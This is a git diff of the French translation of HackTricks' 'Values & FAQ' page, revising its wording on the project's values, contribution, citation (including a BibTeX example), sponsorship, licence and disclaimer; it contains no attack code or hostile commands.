* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Valeurs de HackTricks & FAQ
|
# Valeurs et FAQ de HackTricks
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -8,8 +8,8 @@ Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -22,12 +22,12 @@ Voici les **valeurs du projet HackTricks** :
|
||||||
* Offrir un accès **GRATUIT** à des ressources de piratage **ÉDUCATIVES** à **TOUS** sur Internet.
|
* Offrir un accès **GRATUIT** à des ressources de piratage **ÉDUCATIVES** à **TOUS** sur Internet.
|
||||||
* Le piratage est une question d'apprentissage, et l'apprentissage devrait être aussi libre que possible.
|
* Le piratage est une question d'apprentissage, et l'apprentissage devrait être aussi libre que possible.
|
||||||
* Le but de ce livre est de servir de **ressource éducative complète**.
|
* Le but de ce livre est de servir de **ressource éducative complète**.
|
||||||
* **CONSERVER** des techniques de piratage **impressionnantes** que la communauté publie en donnant tous les **CRÉDITS** aux **AUTEURS ORIGINAUX**.
|
* **STOCKER** des techniques de piratage impressionnantes que la communauté publie en donnant tous les **CRÉDITS** aux **AUTEURS ORIGINAUX**.
|
||||||
* **Nous ne voulons pas du crédit d'autres personnes**, nous voulons juste stocker des astuces cool pour tout le monde.
|
* **Nous ne voulons pas du crédit d'autres personnes**, nous voulons juste stocker des astuces cool pour tout le monde.
|
||||||
* Nous écrivons également **nos propres recherches** dans HackTricks.
|
* Nous écrivons également **nos propres recherches** dans HackTricks.
|
||||||
* Dans plusieurs cas, nous écrirons juste dans HackTricks un **résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails.
|
* Dans plusieurs cas, nous écrirons juste dans HackTricks un **résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails.
|
||||||
* **ORGANISER** toutes les techniques de piratage dans le livre pour qu'il soit **PLUS ACCESSIBLE**
|
* **ORGANISER** toutes les techniques de piratage dans le livre pour qu'il soit **PLUS ACCESSIBLE**
|
||||||
* L'équipe HackTricks a consacré des milliers d'heures gratuitement **juste pour organiser le contenu** afin que les gens puissent **apprendre plus rapidement**
|
* L'équipe HackTricks a consacré des milliers d'heures gratuitement **uniquement pour organiser le contenu** afin que les gens puissent **apprendre plus rapidement**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
@ -46,7 +46,7 @@ Et n'oubliez pas de **donner une étoile aux projets Github !** (Trouvez les lie
|
||||||
* **Comment puis-je contribuer au projet ?**
|
* **Comment puis-je contribuer au projet ?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Vous pouvez **partager de nouveaux conseils et astuces avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant une **Pull Request** aux pages Github respectives : 
|
Vous pouvez **partager de nouveaux conseils et astuces avec la communauté ou corriger des bugs** que vous trouvez dans les livres en envoyant une **Pull Request** aux pages Github respectives :
|
||||||
|
|
||||||
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||||
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||||
|
@ -59,8 +59,22 @@ N'oubliez pas de **donner une étoile aux projets Github !**
|
||||||
|
|
||||||
Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où le contenu a été pris.
|
Oui, vous pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifique(s)** d'où le contenu a été pris.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
* **Comment puis-je citer une page de HackTricks ?**
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Tant que le lien **de** la ou les page(s) d'où vous avez pris l'information apparaît, c'est suffisant.\
|
||||||
|
Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme :
|
||||||
|
```latex
|
||||||
|
@misc{hacktricks-bibtexing,
|
||||||
|
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||||
|
title = {Title of the Specific Page},
|
||||||
|
year = {Year of Last Update (check it at the end of the page)},
|
||||||
|
url = {\url{https://book.hacktricks.xyz/specific-page}},
|
||||||
|
}
|
||||||
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
* **Puis-je copier tout HackTricks sur mon blog ?**
|
* **Puis-je copier tous les HackTricks dans mon blog ?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Je préférerais que non**. Cela **ne bénéficiera à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement.
|
**Je préférerais que non**. Cela **ne bénéficiera à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement.
|
||||||
|
@ -71,16 +85,16 @@ Si vous craignez qu'il disparaisse, faites simplement un fork sur Github ou tél
|
||||||
* **Pourquoi avez-vous des sponsors ? Les livres HackTricks sont-ils à des fins commerciales ?**
|
* **Pourquoi avez-vous des sponsors ? Les livres HackTricks sont-ils à des fins commerciales ?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
La première **valeur de HackTricks** est d'offrir des ressources éducatives de piratage **GRATUITES** à **TOUS** le monde. L'équipe HackTricks a **consacré des milliers d'heures** à offrir ce contenu, encore une fois, **GRATUITEMENT**.
|
La première **valeur de HackTricks** est d'offrir des ressources éducatives sur le piratage **GRATUITEMENT** à **TOUS** le monde. L'équipe HackTricks a **consacré des milliers d'heures** à offrir ce contenu, encore une fois, **GRATUITEMENT**.
|
||||||
|
|
||||||
Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **TOTALEMENT TORT**.
|
Si vous pensez que les livres HackTricks sont faits à des **fins commerciales**, vous avez **TOTALEMENT TORT**.
|
||||||
|
|
||||||
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** si elle le souhaite. Par conséquent, nous offrons aux gens la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et aux **entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'avoir quelques annonces dans le livre, les **annonces** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
|
Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire un don à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et aux **entreprises pertinentes en cybersécurité** de sponsoriser HackTricks et d'**avoir quelques publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas le processus d'apprentissage** si quelqu'un se concentre sur le contenu.
|
||||||
|
|
||||||
Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, parce que HackTricks n'est pas fait à des fins commerciales.
|
Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, parce que HackTricks n'est pas fait à des fins commerciales.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
* **Que dois-je faire si une page de HackTricks est basée sur mon article de blog mais qu'elle n'est pas référencée ?**
|
* **Que dois-je faire si une page HackTricks est basée sur mon article de blog mais qu'elle n'est pas référencée ?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous le faire savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
|
**Nous sommes vraiment désolés. Cela n'aurait pas dû arriver**. Veuillez nous le faire savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
|
||||||
|
@ -89,13 +103,13 @@ Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres
|
||||||
* **Que dois-je faire si du contenu de mon blog se trouve dans HackTricks et que je ne le veux pas là ?**
|
* **Que dois-je faire si du contenu de mon blog se trouve dans HackTricks et que je ne le veux pas là ?**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dans tous les cas, sachez que HackTricks dans ce cas améliorerait votre **SEO** et **encouragerait** les gens à **consulter votre page**. Si vous voulez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir.
|
Sachez dans tous les cas que HackTricks dans ce cas améliorerait votre **SEO** et **encouragerait** les gens à **consulter votre page**. Si vous voulez toujours que le contenu de votre blog soit retiré de HackTricks, faites-le nous savoir.
|
||||||
|
|
||||||
Notez qu'en demandant cela, nous allons définitivement **retirer tous les liens vers votre blog**, mais si la même technique peut être trouvée sur d'autres pages web, nous changerons juste la source de l'information et l'explication, donc le contenu réel ne quittera probablement pas HackTricks (en cybersécurité, en général, il y a toujours plusieurs posts parlant de la même technique).
|
Notez qu'en demandant cela, nous allons définitivement **retirer tous les liens vers votre blog**, mais si la même technique peut être trouvée sur d'autres pages web, nous changerons simplement la source de l'information et l'explication, donc le contenu réel ne quittera probablement pas HackTricks (en cybersécurité, en général, il y a toujours plusieurs articles parlant de la même technique).
|
||||||
|
|
||||||
## Licence
|
## Licence
|
||||||
|
|
||||||
**Copyright © Carlos Polop 2023. Sauf indication contraire (les informations externes copiées dans le livre appartiennent aux auteurs originaux), le texte sur** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop est sous licence** [**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
|
**Copyright © Carlos Polop 2023. Sauf indication contraire (les informations externes copiées dans le livre appartiennent aux auteurs originaux), le texte sur** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop est sous licence**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
|
||||||
**Si vous souhaitez l'utiliser à des fins commerciales, contactez-moi.**
|
**Si vous souhaitez l'utiliser à des fins commerciales, contactez-moi.**
|
||||||
|
|
||||||
## **Avertissement**
|
## **Avertissement**
|
||||||
|
@ -103,13 +117,13 @@ Notez qu'en demandant cela, nous allons définitivement **retirer tous les liens
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni sur une base 'tel quel', et les auteurs et éditeurs ne font aucune déclaration ou garantie de quelque nature que ce soit, expresse ou implicite, concernant l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement à vos propres risques.
|
Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni sur une base 'tel quel', et les auteurs et éditeurs ne font aucune déclaration ou garantie de quelque nature que ce soit, expresse ou implicite, concernant l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement à vos propres risques.
|
||||||
|
|
||||||
Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, de perte ou dommage indirect ou consécutif, ou de toute perte ou dommage quelconque résultant de la perte de données ou de profits découlant de, ou en relation avec, l'utilisation de ce livre.
|
Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, la perte ou le dommage indirects ou consécutifs, ou toute perte ou dommage quelconque résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre.
|
||||||
|
|
||||||
De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement, et ne doivent pas être utilisées pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre est à la discrétion et aux risques de l'utilisateur.
|
De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement et ne doivent pas être utilisées pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre est à la discrétion et aux risques de l'utilisateur.
|
||||||
|
|
||||||
L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et devrait toujours rechercher des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
|
L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre et doit toujours rechercher des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici.
|
||||||
|
|
||||||
En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et responsabilité pour tout dommage, perte ou préjudice qui pourrait résulter de l'utilisation de ce livre ou de toute information contenue à l'intérieur.
|
En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et responsabilité pour tout dommage, perte ou préjudice qui pourrait résulter de l'utilisation de ce livre ou de toute information contenue en son sein.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -118,10 +132,10 @@ En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeur
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue